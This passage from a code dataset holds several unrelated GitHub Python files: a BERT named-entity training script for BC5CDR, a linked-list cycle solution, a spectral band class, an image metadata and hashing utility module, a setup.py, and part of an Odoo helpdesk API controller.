',' + str(value))\n\n\n#deg_cen = nx.degree_centrality(G)\n#print(\"degree centrality\")\n#print(deg_cen)\n\n\n\n","repo_name":"taubergm/TwitterJournalists","sub_path":"db_network.py","file_name":"db_network.py","file_ext":"py","file_size_in_byte":5037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6306748137","text":"import random\nimport pandas as pd\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nfrom datasets import load_dataset\nfrom transformers import AutoTokenizer,AutoModelForTokenClassification\nfrom torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\nfrom seqeval.metrics import accuracy_score,classification_report\nfrom sklearn.metrics import confusion_matrix\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n# 檢查是否有可用的GPU，如果有就使用GPU，否則使用CPU\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n# random seed\nrandom.seed(42)\nnp.random.seed(42)\ntorch.manual_seed(42)\nif torch.cuda.is_available():\n    torch.cuda.manual_seed_all(42)\n\n# Bert\ntokenizer =  AutoTokenizer.from_pretrained('distilbert-base-uncased')\nmodel = AutoModelForTokenClassification.from_pretrained('distilbert-base-uncased', num_labels=5)\n\n# 加載數據集\ndataset = load_dataset(\"tner/bc5cdr\")\ntrain_data = dataset[\"train\"]\nval_data = dataset[\"validation\"]\ndf = pd.DataFrame(val_data)\n# print(df)\n# print(dataset)\n\n\nclass CustomDataset(Dataset):\n    def __init__(self, data, tokenizer):\n        self.data = data\n        self.tokenizer = tokenizer\n    \n    def __len__(self):\n        return len(self.data)\n    \n    def __getitem__(self, idx):\n        texts = self.data[idx][\"tokens\"]\n        labels = self.data[idx][\"tags\"]\n        \n        # print(text)\n        # print(label)\n        return texts, labels\n    \nmapping = {\n    0: 'O',\n    1: \"B-Chemical\",\n    2: \"B-Disease\",\n    3: \"I-Disease\",\n    4: \"I-Chemical\"\n}\n\ndef coffate_fn(examples):\n    texts, all_labels = [], []\n    for text, labels in examples:\n        texts.append(text)\n        all_labels.append(labels)\n\n    # 標記文本\n    tokenized_inputs = tokenizer(texts, truncation=True, padding=True, is_split_into_words=True,\n                                 max_length=128, return_tensors=\"pt\")\n    # print(texts)\n    # print(labels)\n    # print(tokenized_inputs.input_ids)\n    # print(tokenized_inputs.attention_mask)\n\n    # 處理標籤\n    targets = []\n    for i, labels in enumerate(all_labels):\n        label_ids = []\n        for word_idx in tokenized_inputs.word_ids(batch_index=i):         \n            if word_idx is None:\n                label_ids.append(-100)\n            else:                \n                label_ids.append(labels[word_idx])\n        targets.append(label_ids)\n\n    # 將輸入和標籤轉換為PyTorch張量\n    targets = torch.tensor(targets)\n    return tokenized_inputs, targets\n\n# 定義參數\n#總共要用全部的訓練樣本重複跑幾回合\nEPOCHS = 10 \nBATCH_SIZE = 8\n\ntrain_dataset = CustomDataset(train_data,tokenizer)\ntrain_loader = DataLoader(train_dataset, batch_size = BATCH_SIZE, shuffle = True, collate_fn=coffate_fn)\nval_dataset = CustomDataset(val_data,tokenizer)\nval_loader = DataLoader(val_dataset, batch_size = BATCH_SIZE, shuffle = True, collate_fn=coffate_fn)\n\n# Define the model, optimizer, and loss function\nmodel.to(device)\noptimizer = torch.optim.AdamW(model.parameters(), lr=5e-5)\ncriterion = nn.CrossEntropyLoss(ignore_index=-100)\nmodel.train()\n\n# Training loop\nfor epoch in range(EPOCHS):\n    model.train()\n    total_loss_train = 0.0\n\n\n    # 訓練數據的batch\n    for batch in tqdm(train_loader, desc=f'Training Epoch {epoch+1}'):\n\n        # 對batch中的每條tensor類型數據都執行.to(device)\n        # 因為模型和數據要在同一個設備上才能運行\n        inputs, targets = [x.to(device) for x in batch]\n\n        # 確保模型輸出和目標形狀對齊\n        labels = targets.view(-1)\n\n        # 清除現有梯度\n        optimizer.zero_grad()\n        outputs = model(**inputs,labels=labels)\n        logits = outputs.logits\n\n        # 計算損失\n        loss = criterion(logits.view(-1, 5), labels)\n        loss.backward()\n        optimizer.step()\n        # logits_shape= logits.size()\n        # print(\"模型输出 (logits) 的形状:\", logits_shape)\n        # print(f\"inputs: {inputs}\")\n        # print(f\"labels_input: {labels_input}\")\n\n        # total_loss_train += loss.item()\n\n    # average_loss = total_loss_train / len(train_loader)\n    # print(f'Epoch {epoch+1}, Loss: {average_loss:.4f}')\n    model.save_pretrained('./saved_models')\n\n    # Validation loop\n    model.eval()\n    all_labels = []\n    all_preds = []\n    with torch.no_grad():\n        correct = 0\n        total = 0\n        for batch in tqdm(val_loader, desc=f'Validation Epoch {epoch+1}'):\n            inputs, targets = [x.to(device) for x in batch]\n            labels = targets.view(-1)\n            outputs = model(**inputs, labels=labels)\n            predictions = torch.argmax(outputs.logits.view(-1, 5), dim=1)\n            new_labels, new_predictions = zip(*[(label, prediction) for label, prediction in zip(labels, predictions) if label != -100])\n            total += labels.size(0)\n            correct += (predictions == labels).sum().item()\n            all_preds.extend(torch.tensor(new_predictions).cpu().numpy())\n            all_labels.extend(torch.tensor(new_labels).cpu().numpy())\n\n        all_preds_map = [mapping[num] for num in all_preds]\n        all_labels_map = [mapping[num] for num in all_labels]\n\nprint(accuracy_score([all_preds_map], [all_labels_map]))\nprint(classification_report([all_preds_map], [all_labels_map]))\n\nmodel = AutoModelForTokenClassification.from_pretrained('./saved_models')\nmodel.to(device)\ntest_data = dataset[\"test\"]\ntest_dataset = CustomDataset(test_data, tokenizer)\ntest_loader = DataLoader(test_dataset, batch_size=1, shuffle=True, collate_fn=coffate_fn)\n\n# Test loop\ntest_true_labels = []\ntest_pred_labels = []\nwrong_predictions = []\nwith torch.no_grad():\n    for batch in tqdm(test_loader, desc=f'Testing'):\n        inputs, targets = [x.to(device) for x in batch]\n        labels = targets.view(-1)\n        outputs = model(**inputs, labels=labels)\n\n        predictions = torch.argmax(outputs.logits.view(-1, 5), dim=1)\n        new_labels, new_predictions = zip(*[(label, prediction) for label, prediction in zip(labels, predictions) if label != -100])\n        \n        test_pred_labels.extend(torch.tensor(new_predictions).cpu().numpy())\n        test_true_labels.extend(torch.tensor(new_labels).cpu().numpy())\n\n        if list(new_labels) != list(new_predictions):\n            wrong_predictions.append((new_labels, new_predictions))\n\n# Convert predictions and labels to original labels\nnew_test_predictions = [mapping[num] for num in test_pred_labels]\nnew_test_labels = [mapping[num] for num in test_true_labels]\nconfusion_mat = confusion_matrix(new_test_labels, new_test_predictions,labels=[\"O\", \"B-Chemical\", \"I-Chemical\", \"B-Disease\",\"I-Disease\"])\n# Print classification report for test set\nprint(accuracy_score([new_test_predictions], [new_test_labels]))\nprint(classification_report([new_test_predictions], [new_test_labels]))\nprint(\"Confusion Matrix:\")\nprint(confusion_mat)\n\n# 繪製混淆矩陣\nplt.figure(figsize=(12, 12))\nsns.heatmap(confusion_mat, annot=True, cmap=\"Blues\",cbar_kws={\"orientation\":\"horizontal\"}, fmt=\"d\",xticklabels=[\"O\", \"B-Chemical\", \"I-Chemical\", \"B-Disease\",\"I-Disease\"],yticklabels=[\"O\", \"B-Chemical\", \"I-Chemical\", \"B-Disease\",\"I-Disease\"],annot_kws={\"size\": 16})\n# Print classification report for test set\nplt.xlabel(\"Predicted Labels\")\nplt.ylabel(\"True Labels\")\nplt.title(\"Confusion Matrix\")\nplt.savefig(\"confusion_matrix.png\")  # 保存成圖片\n\n\n","repo_name":"wangjiajen/bc5cdr_bert","sub_path":"bc5cdr_bert.py","file_name":"bc5cdr_bert.py","file_ext":"py","file_size_in_byte":7447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1036395322","text":"# _*_ coding: utf-8 _*_\n\"\"\"\n# @Time : 11/12/2021 4:58 PM\n# @Author : byc\n# @File : Linked List Cycle.py\n# @Description :\n\"\"\"\n# Definition for singly-linked list.\nfrom typing import Optional\n\n\nclass ListNode:\n    def __init__(self, x):\n        self.val = x\n        self.next = None\n\nclass Solution:\n    def hasCycle(self, head: Optional[ListNode]) -> bool:\n        if not head or not head.next: return False\n        low, fast = head.next, head.next.next\n        while True:\n            if low and fast:\n                if low == fast:\n                    return True\n                low = low.next\n                fast = fast.next\n                if fast:\n                    fast = fast.next\n            else:\n                return False","repo_name":"byc996/LeetCode","sub_path":"Linked List/Linked List Cycle.py","file_name":"Linked List Cycle.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70087496968","text":"from typing import Union, Optional, Iterable, List, Any\r\nimport yaml\r\nimport pandas as pd\r\nfrom .error import AttrNotFindError\r\n\r\n\r\nclass Band:\r\n    __slots__ = \"_attrs\"\r\n\r\n    def __init__(\r\n        self,\r\n        tag: str,\r\n        order: int,\r\n        resolution: Union[int, float],\r\n        wavelength: Optional[Union[float, Iterable[float]]] = None,\r\n        description: Optional[str] = None,\r\n    ) -> None:\r\n        \"\"\"波段类\r\n\r\n        Args:\r\n            tag (str): 该波段的标签\r\n            order (int): 该波段的索引偏移\r\n            resolution (Union[int, float]): 该波段图像的分辨率\r\n            wavelength (Optional[Union[float, Iterable[float]]], optional): 该波段的波长，默认为None\r\n            description (Optional[str], optional): 该波段的相关描述，默认为None\r\n        \"\"\"\r\n        self._attrs = {\r\n            \"tag\": tag,\r\n            \"order\": order,\r\n            \"resolution\": resolution,\r\n            \"wavelength\": wavelength,\r\n            \"description\": description,\r\n        }\r\n\r\n    def get(self, type: str = \"description\") -> Any:\r\n        \"\"\"获取波段的某个属性\r\n\r\n        Args:\r\n            type (str, optional): 需要获取的属性，默认为\"description\"\r\n\r\n        Raises:\r\n            AttrNotFindError: 该属性不存在\r\n\r\n        Returns:\r\n            Any: 属性值\r\n        \"\"\"\r\n        if type not in self._attrs.keys():\r\n            raise AttrNotFindError(\"Cannt find {} in band attrs.\".format(type))\r\n        return self._attrs[type]\r\n\r\n    def set(self, value: Any, type: str = \"description\") -> None:\r\n        \"\"\"设置波段的某个属性\r\n\r\n        Args:\r\n            value (Any): 属性值\r\n            type (str, optional): 需要设置的属性，默认为\"description\"\r\n\r\n        Raises:\r\n            AttrNotFindError: 该属性不存在\r\n        \"\"\"\r\n        if type not in self._attrs.keys():\r\n            raise AttrNotFindError(\"Cannt find {} in band attrs.\".format(type))\r\n        self._attrs[type] = value\r\n\r\n    def summay(self) -> None:\r\n        \"\"\"展示波段的属性\"\"\"\r\n        print(pd.DataFrame(data=[self._attrs]))\r\n\r\n\r\nclass BandList:\r\n    def __init__(self, bands: Iterable[Band]) -> None:\r\n        \"\"\"波段列表类\r\n\r\n        Args:\r\n            bands (Iterable[Band]): 一个包含多个波段的序列\r\n        \"\"\"\r\n        self.band_list = tuple(bands)\r\n\r\n    def __len__(self) -> int:\r\n        return len(self.band_list)\r\n\r\n    def find(self, value: Any, type: str = \"description\") -> List[Band]:\r\n        \"\"\"从某种属性中查找满足条件的波段\r\n\r\n        Args:\r\n            value (Any): 查找的值\r\n            type (str, optional): 查找的属性，默认为\"description\"\r\n\r\n        Raises:\r\n            AttrNotFindError: 该属性不存在或波段列表中没有波段\r\n\r\n        Returns:\r\n            List[Band]: 满足条件的波段组成的列表\r\n        \"\"\"\r\n        if self.__len__ == 0 or type not in self.band_list[0]._attrs:\r\n            raise AttrNotFindError(\"Cannt find {} in band list.\".format(type))\r\n        result = []\r\n        for band in self.band_list:\r\n            if type != \"wavelength\":\r\n                if value == band.get(type):\r\n                    result.append(band)\r\n            else:\r\n                wl = band.get(type)\r\n                if isinstance(wl, (int, float)):\r\n                    if value == wl:\r\n                        result.append(band)\r\n                else:\r\n                    if value >= wl[0] and value <= wl[1]:\r\n                        result.append(band)\r\n        return result\r\n\r\n    def summay(self) -> None:\r\n        \"\"\"展示所有波段的属性总览\"\"\"\r\n        dfs = []\r\n        for band in self.band_list:\r\n            dfs.append(band._attrs)\r\n        print(pd.DataFrame(data=dfs))\r\n\r\n\r\ndef creat_band_list_from_config(yaml_path: str) -> BandList:\r\n    \"\"\"通过配置文件创建波段列表\r\n\r\n    Args:\r\n        yaml_path (str): 配置文件的路径\r\n\r\n    Returns:\r\n        BandList: 波段列表\r\n    \"\"\"\r\n    band_list = []\r\n    with open(yaml_path, \"r\", encoding=\"utf-8\") as f:\r\n        cfg = yaml.load(f.read(), Loader=yaml.Loader)\r\n        for ib in cfg[\"bands\"]:\r\n            b = cfg[\"bands\"][ib]\r\n            band_list.append(\r\n                Band(\r\n                    b[\"tag\"],\r\n                    b[\"order\"],\r\n                    b[\"resolution\"],\r\n                    b[\"wavelength\"],\r\n                    b[\"description\"],\r\n                )\r\n            )\r\n    return BandList(band_list)\r\n","repo_name":"geoyee/SDRL","sub_path":"sdrl/band/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4521,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"40069575759","text":"#!/usr/bin/python3\n# coding: utf-8\n# image_tools.py  written by Duncan Murray 1/7/2014\n\nimport os\n\nfrom PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\nfrom PIL import ImageFilter\nfrom PIL.ExifTags import TAGS, GPSTAGS\nfrom PIL import ImageStat\nfrom PIL import ImageOps\ntry:\n    from PIL import ImageGrab\nexcept Exception as ex:\n    print('cant load ImageGrab (running on Linux)' + str(ex))\n\ndef screenshot(fname):\n    \"\"\"\n    takes a screenshot of the users desktop (Currently Win only)\n    \"\"\"\n    try:\n        im = ImageGrab.grab()\n        im.save(fname)\n    except Exception as ex:\n        print('image_tools.screenshot:cant create screenshot ' + str(ex))\n    \ndef get_exif_data(image):\n    \"\"\"\n    Returns a dictionary from the exif data of \n    an PIL Image item. Also converts the GPS Tags\n    \"\"\"\n    exif_data = {}\n    info = image._getexif()\n    if info:\n        for tag, value in info.items():\n            decoded = TAGS.get(tag, tag)\n            if decoded == \"GPSInfo\":\n                gps_data = {}\n                for t in value:\n                    sub_decoded = GPSTAGS.get(t, t)\n                    gps_data[sub_decoded] = value[t]\n \n                exif_data[decoded] = gps_data\n            else:\n                exif_data[decoded] = value\n \n    return exif_data\n \ndef _get_if_exist(data, key):\n    if key in data:\n        return data[key]\n        \n    return None\n    \ndef _convert_to_degress(value):\n    \"\"\"\n    Helper function to convert the GPS coordinates \n    stored in the EXIF to degress in float format\n    \"\"\"\n    d0 = value[0][0]\n    d1 = value[0][1]\n    d = float(d0) / float(d1)\n \n    m0 = value[1][0]\n    m1 = value[1][1]\n    m = float(m0) / float(m1)\n \n    s0 = value[2][0]\n    s1 = value[2][1]\n    s = float(s0) / float(s1)\n \n    return d + (m / 60.0) + (s / 3600.0)\n \ndef get_lat_lon(exif_data):\n    \"\"\"\n    Returns the latitude and longitude, if available, from the \n    provided exif_data (obtained through get_exif_data above)\n    \"\"\"\n    lat = None\n    lon = None\n \n    if \"GPSInfo\" in exif_data:      \n        gps_info = exif_data[\"GPSInfo\"]\n        print(\"IN GET_LAT_LONG - GPSInfo = \", gps_info)\n        gps_latitude = _get_if_exist(gps_info, \"GPSLatitude\")\n        gps_latitude_ref = _get_if_exist(gps_info, 'GPSLatitudeRef')\n        gps_longitude = _get_if_exist(gps_info, 'GPSLongitude')\n        gps_longitude_ref = _get_if_exist(gps_info, 'GPSLongitudeRef')\n \n        if gps_latitude and gps_latitude_ref and gps_longitude and gps_longitude_ref:\n            lat = _convert_to_degress(gps_latitude)\n            if gps_latitude_ref != \"N\":                     \n                lat = 0 - lat\n \n            lon = _convert_to_degress(gps_longitude)\n            if gps_longitude_ref != \"E\":\n                lon = 0 - lon\n \n    return lat, lon\n \ndef resize(fname, basewidth, opFilename):\n    \"\"\" resize an image to basewidth \"\"\"\n    if basewidth == 0:\n        basewidth = 300\n    img = Image.open(fname)\n    wpercent = (basewidth/float(img.size[0]))\n    hsize = int((float(img.size[1])*float(wpercent)))\n    img = img.resize((basewidth,hsize), Image.ANTIALIAS)\n    img.save(opFilename)\n    #print(\"Resizing \", fname, \" to \", basewidth, \" pixels wide to file \" , opFilename)\n \ndef print_stats(img):\n    \"\"\" prints stats, remember that img should already have been loaded \"\"\"\n    stat = ImageStat.Stat(img)\n    print(\"extrema    : \", stat.extrema)\n    print(\"count      : \", stat.count)\n    print(\"sum        : \", stat.sum)\n    print(\"sum2       : \", stat.sum2)\n    print(\"mean       : \", stat.mean)\n    print(\"median     : \", stat.median)\n    print(\"rms        : \", stat.rms)\n    print(\"var        : \", stat.var)\n    print(\"stddev     : \", stat.stddev)\n\n    \n#def print_exif_data(img):   \n#    \"\"\" NOTE - the img is ALREADY opened by calling function \"\"\"\n#    try:\n#        exif_data = {\n#            TAGS[k]: v\n#            for k, v in img._getexif().items()\n#            if k in TAGS\n#        }\n#        for k,v in exif_data.items():\n#            if k:\n#                if type(v) is str:\n#                    #if  v[1:] != 'b':\n#                    print (k , \" : \", v)\n#                elif type(v) is int:    \n#                    print (k , \" : \", v)\n#                elif type(v) is tuple:    \n#                    print (k , \" : \", v)\n#                else:\n#                    if k == \"GPSInfo\":\n#                        pass\n#    except Exception:\n#        print (\"Error - \", sys.exc_info()[0])\n\n        \ndef print_all_metadata(fname):\n    \"\"\" high level that prints all as long list \"\"\"\n    print(\"Filename   :\", fname )\n    print(\"Basename   :\", os.path.basename(fname))\n    print(\"Path       :\", os.path.dirname(fname))\n    print(\"Size       :\", os.path.getsize(fname))\n    img = Image.open(fname)\n    # get the image's width and height in pixels\n    width, height = img.size\n    # get the largest dimension\n    #max_dim = max(img.size)\n    print(\"Width      :\", width)\n    print(\"Height     :\", height)\n    print(\"Format     :\", img.format)\n    print(\"palette    :\", img.palette )\n     \n    print_stats(img)\n    #print_exif_data(img)\n    exif_data = get_exif_data(img)\n    (lat, lon) = get_lat_lon(exif_data)\n    print(\"GPS Lat    :\", lat )\n    print(\"GPS Long   :\", lon )\n\ndef metadata_header():\n    hdr = [\n        'Filename',\n        'Basename',\n        'Path',\n        'Size',\n        'Width',\n        'Height',\n        'Format',\n        'palette',\n        'count',\n        'sum',\n        'sum2',\n        'mean',\n        'median',\n        'rms',\n        'var',\n        'stddev',\n        'GPS_Lat',\n        'GPS_Long'\n        ]  \n    return hdr\n\ndef get_metadata_as_dict(fname):\n    \"\"\" Gets all metadata and puts into dictionary \"\"\"\n    imgdict = {}\n    try:\n        imgdict['filename'] = fname\n        imgdict['size'] = str(os.path.getsize(fname)) \n        imgdict['basename'] = os.path.basename(fname)\n        imgdict['path'] = os.path.dirname(fname)\n        img = Image.open(fname)\n        # get the image's width and height in pixels\n        width, height = img.size\n        imgdict['width'] = str(width)\n        imgdict['height'] = str(height)\n        imgdict['format'] = str(img.format) \n        imgdict['palette'] = str(img.palette)\n        stat = ImageStat.Stat(img)\n         \n        #res = res + q + str(stat.extrema) + q + d\n        imgdict['count'] =  List2String(stat.count, \",\")\n        imgdict['sum'] =  List2String(stat.sum, \",\")\n        imgdict['sum2'] =  List2String(stat.sum2, \",\")\n        imgdict['mean'] =  List2String(stat.mean, \",\") \n        imgdict['median'] =  List2String(stat.median, \",\") \n        imgdict['rms'] =  List2String(stat.rms, \",\") \n        imgdict['var'] =  List2String(stat.var, \",\")\n        imgdict['stddev'] =  List2String(stat.stddev, \",\") \n\n        exif_data = get_exif_data(img)\n        print('exif_data = ', exif_data)\n        (lat, lon) = get_lat_lon(exif_data)\n        print('(lat, lon)', (lat, lon))\n        imgdict['lat'] =  str(lat)\n        imgdict['lon'] =  str(lon)\n    except Exception as ex:\n        print('problem reading image file metadata in ', fname, str(ex))\n        imgdict['lat'] =  'ERROR'\n        imgdict['lon'] =  'ERROR'\n    return imgdict\n        \ndef get_metadata_as_csv(fname):\n    \"\"\" Gets all metadata and puts into CSV format \"\"\"\n    q = chr(34)\n    d = \",\"\n    res = q + fname + q + d\n    res = res + q + os.path.basename(fname) + q + d\n    res = res + q + os.path.dirname(fname) + q + d\n    try:\n        res = res + q + str(os.path.getsize(fname)) + q + d\n        img = Image.open(fname)\n        # get the image's width and height in pixels\n        width, height = img.size\n        res = res + q + str(width) + q + d\n        res = res + q + str(height) + q + d\n        res = res + q + str(img.format) + q + d\n        res = res + q + str(img.palette) + q + d\n        stat = ImageStat.Stat(img)\n        #print(fname, width, height) \n        #res = res + q + str(stat.extrema) + q + d\n        res = res + q + List2String(stat.count, \",\") + q + d\n        res = res + q + List2String(stat.sum, \",\") + q + d\n        res = res + q + List2String(stat.sum2, \",\") + q + d\n        res = res + q + List2String(stat.mean, \",\") + q + d\n        res = res + q + List2String(stat.median, \",\") + q + d\n        res = res + q + List2String(stat.rms, \",\") + q + d\n        res = res + q + List2String(stat.var, \",\") + q + d\n        res = res + q + List2String(stat.stddev, \",\") + q + d\n\n        exif_data = get_exif_data(img)\n        (lat, lon) = get_lat_lon(exif_data)\n        res = res + q + str(lat) + q + d\n        res = res + q + str(lon) + q + d\n    except Exception as ex:\n        print('problem reading image file metadata in ', fname, str(ex))\n    return res\n        \n    \n    \ndef List2String(l, delim):\n    res = \"\"\n    for v in l:\n        if is_number(v):\n            res = res + str(v) + delim\n        else:\n            res = res + v + delim\n    return res\n\ndef Dict2String(d):\n    res = \",\"\n    for k, v in d.items(): # .iteritems():\n        res = res + k + ',' + str(v) + ','\n    return res\n\ndef is_number(s):\n    try:\n        float(s)\n        return True\n    except ValueError:\n        return False    \n\n        \n#def auto_contrast(img, opFile):\n#    \"\"\" run the autocontrast PIL function to a new opFile \"\"\"\n#    imgOp = ImageOps.autocontrast(img)\n#    imgOp.save(opFile)\n    \n    \ndef add_text_to_image(fname, txt, opFilename):\n    \"\"\" convert an image by adding text \"\"\"\n    ft = ImageFont.load(\"T://user//dev//src//python//_AS_LIB//timR24.pil\")\n    #wh = ft.getsize(txt)\n    print(\"Adding text \", txt, \" to \", fname, \" pixels wide to file \" , opFilename)\n    im = Image.open(fname)\n    draw = ImageDraw.Draw(im)\n    draw.text((0, 0), txt, fill=(0, 0, 0), font=ft)\n    del draw  \n    im.save(opFilename)\n    \ndef add_crosshair_to_image(fname, opFilename):\n    \"\"\" convert an image by adding a cross hair \"\"\"\n    im = Image.open(fname)\n    draw = ImageDraw.Draw(im)\n    draw.line((0, 0) + im.size, fill=(255, 255, 255))\n    draw.line((0, im.size[1], im.size[0], 0), fill=(255, 255, 255))\n    del draw  \n    im.save(opFilename)\n\ndef filter_contour(imageFile, opFile):\n    \"\"\" convert an image by applying a contour \"\"\"\n    im = Image.open(imageFile)\n    im1 = im.filter(ImageFilter.CONTOUR)\n    im1.save(opFile)\n\ndef detect_face(fname, opFile):\n    \"\"\" \n    TODO - not implemented \n    storage = cv.CreateMemStorage()\n    haar=cv.LoadHaarClassifierCascade('haarcascade_frontalface_default.xml')\n    detected = cv.HaarDetectObjects(fname, haar, storage, 1.2, 2,cv.CV_HAAR_DO_CANNY_PRUNING, (100,100))\n    if detected:\n        for face in detected:\n            print (face, 'saving to ', opFile)\n    \"\"\"\n    print(\"detect_face NOT IMPLEMENTED: \", fname, opFile)\n    \n    \ndef check_image_duplicates(file_list):\n    \"\"\" Checking Images for duplicates (despite resizing, colours, etc) \"\"\"\n    master_hash = ''\n    ham_dist = 0\n    results = []\n    print(\"Checking Images for duplicates (despite resizing, colours, etc) \" )\n    for ndx, fname in enumerate(file_list):\n        #img = Image.open(fname)\n        img = load_image(fname)\n        hsh = get_img_hash(img)\n        if ndx == 0:  # this is the test MASTER image\n            master_hash = hsh\n        else:\n            # compare hamming distance against image 1  \n            #print(\"hash=\" + hash + \"  MASTER_HASH=\" + master_hash)\n            ham_dist = hamming_distance(hsh, master_hash)\n        #print(hsh + \" <- \" + fname + \" ,  hamming dist to img1 = \" + str(ham_dist))\n        #results.append(hsh + \" <- \" + fname + \" ,  hamming dist to img1 = \" + str(ham_dist))\n        results.append({'hsh':hsh, 'fname':fname, 'dist_to_img1':str(ham_dist)})\n    return results\n\ndef hamming_distance(s1, s2):\n    \"\"\" \n    Return the Hamming distance between equal-length sequences\n    (http://en.wikipedia.org/wiki/Hamming_distance )\n    \"\"\"\n    if len(s1) != len(s2):\n        raise ValueError(\"Undefined for sequences of unequal length\")\n    return sum(ch1 != ch2 for ch1, ch2 in zip(s1, s2))        \n        \n        \ndef get_img_hash(image, hash_size = 8):\n    \"\"\" Grayscale and shrink the image in one step \"\"\"\n\n    image = image.resize((hash_size + 1, hash_size), Image.ANTIALIAS, )\n\n    pixels = list(image.getdata())\n    #print('get_img_hash: pixels=', pixels)\n\n    # Compare adjacent pixels.\n    difference = []\n    for row in range(hash_size):\n        for col in range(hash_size):\n            pixel_left = image.getpixel((col, row))\n            pixel_right = image.getpixel((col + 1, row))\n            difference.append(pixel_left > pixel_right)\n\n    # Convert the binary array to a hexadecimal string.\n    decimal_value = 0\n    hex_string = []\n    for index, value in enumerate(difference):\n        if value:\n            decimal_value += 2**(index % 8)\n        if (index % 8) == 7:\n            hex_string.append(hex(decimal_value)[2:].rjust(2, '0'))\n            decimal_value = 0\n\n    return ''.join(hex_string)\n\ndef load_image(fname):\n    \"\"\" read an image from file - PIL doesnt close nicely \"\"\"\n    with open(fname, \"rb\") as f:\n        i = Image.open(fname)\n        #i.load()\n        return i\n    \ndef dump_img(fname):\n    \"\"\" output the image as text \"\"\"\n    img = Image.open(fname)\n    width, _ = img.size\n    txt = ''\n    pixels = list(img.getdata())\n    for col in range(width):\n        txt += str(pixels[col:col+width])\n    return txt    \n","repo_name":"acutesoftware/AIKIF","sub_path":"aikif/toolbox/image_tools.py","file_name":"image_tools.py","file_ext":"py","file_size_in_byte":13348,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"16"}
+{"seq_id":"73536195847","text":"from setuptools import setup, find_packages\nimport os\n\nDESCRIPTION = \"Djangotoolbox for Django-nonrel\"\n\nLONG_DESCRIPTION = None\ntry:\n    LONG_DESCRIPTION = open('README.rst').read()\nexcept:\n    pass\n\ninit = os.path.join(os.path.dirname(__file__), 'djangotoolbox', '__init__.py')\n\nCLASSIFIERS = [\n    'Development Status :: 4 - Beta',\n    'Intended Audience :: Developers',\n    'License :: OSI Approved :: MIT License',\n    'Operating System :: OS Independent',\n    'Programming Language :: Python',\n    'Framework :: Django',\n    'Topic :: Database',\n    'Topic :: Software Development :: Libraries :: Python Modules',\n]\n\nsetup(name='djangotoolbox',\n      packages=find_packages(),\n      author='Waldemar Kornewald',\n      url='http://www.allbuttonspressed.com/projects/djangotoolbox',\n      include_package_data=True,\n      description=DESCRIPTION,\n      long_description=LONG_DESCRIPTION,\n      platforms=['any'],\n      classifiers=CLASSIFIERS,\n      install_requires=[],\n)\n","repo_name":"flaper87/djangotoolbox","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"24177278843","text":"import json\nfrom odoo import http, _\nfrom odoo.http import request\n\n\nclass SupportMobileAPI(http.Controller):\n\n    @http.route('/get/customer/list', type='http', auth='api_key')\n    def getCustomerList(self, **kwargs):\n        try:\n            page = int(kwargs.get(\"page\", '1'))\n        except Exception as e:\n            page = 1\n        return json.dumps(request.env['wb.mobile.request.registration'].getCustomerList(page))\n\n    @http.route('/get/company/list', type='http', auth='api_key')\n    def getCompanyList(self, **kwargs):\n        return json.dumps(request.env['wb.mobile.request.registration'].getCompanyList())\n\n    @http.route('/get/helpdesk/team/list', type='http', auth='api_key')\n    def getHelpdeskTeamList(self, **kwargs):\n        try:\n            page = int(kwargs.get(\"page\", '1'))\n        except Exception as e:\n            page = 1\n        return json.dumps(request.env['wb.mobile.request.registration'].getHelpdeskTeamList(page))\n\n    @http.route('/get/helpdesk/list', type='http', auth='api_key')\n    def getHelpdeskList(self, **kwargs):\n        try:\n            page = int(kwargs.get(\"page\", '1'))\n        except Exception as e:\n            page = 1\n        return json.dumps(request.env['wb.mobile.request.registration'].getHelpdeskList(page))\n\n    @http.route('/get/assigned/helpdesk/list', type='http', auth='api_key')\n    def getAssignedHelpdeskList(self, **kwargs):\n        try:\n            page = int(kwargs.get(\"page\", '1'))\n        except Exception as e:\n            page = 1\n        return json.dumps(request.env['wb.mobile.request.registration'].getHelpdeskList(page=page, operation=\"assigned_tickets\"))\n\n    @http.route('/get/team/list', type='http', auth='api_key')\n    def getTeamList(self, **kwargs):\n        try:\n            page = int(kwargs.get(\"page\", '1'))\n        except Exception as e:\n            page = 1\n        return json.dumps(request.env['wb.mobile.request.registration'].getTeamList(page))\n\n    @http.route('/assign/team/member', type='json', auth='api_key', methods=[\"POST\"])\n    def assignTeamMember(self, **kwargs):\n        request_data = json.loads(request.httprequest.data)\n        fse_id = request_data.get(\"fse_id\", 0)\n        ticket_id = request_data.get(\"ticket_id\", 0)\n        if fse_id == 0 or ticket_id == 0:\n            return json.dumps({\"status\":0, \"msg\":\"fse or ticket id is invalid.\"})\n        return json.dumps(request.env['wb.mobile.request.registration'].assignTeamMember(vals={'fse_id':fse_id, 'ticket_id':ticket_id}))\n\n    @http.route('/get/all/tickets', type='http', auth='api_key')\n    def getHelpdeskTicketList(self, **kwargs):\n        try:\n            page = int(kwargs.get(\"page\", '1'))\n        except Exception as e:\n            page = 1\n        if request.env.user.has_group('wb_mobile_helpdesk_integration.group_mobile_admin'):\n            return json.dumps(request.env['wb.mobile.request.registration'].getHelpdeskTicketList(page))\n        else:\n            return json.dumps({})\n\n    @http.route('/get/customer/list/count', type='http', auth='api_key')\n    def getCustomerListCount(self, **kwargs):\n        return json.dumps(request.env['wb.mobile.request.registration'].getCustomerListCount())\n\n    @http.route('/get/helpdesk/team/list/count', type='http', auth='api_key')\n    def getHelpdeskTeamListCount(self, 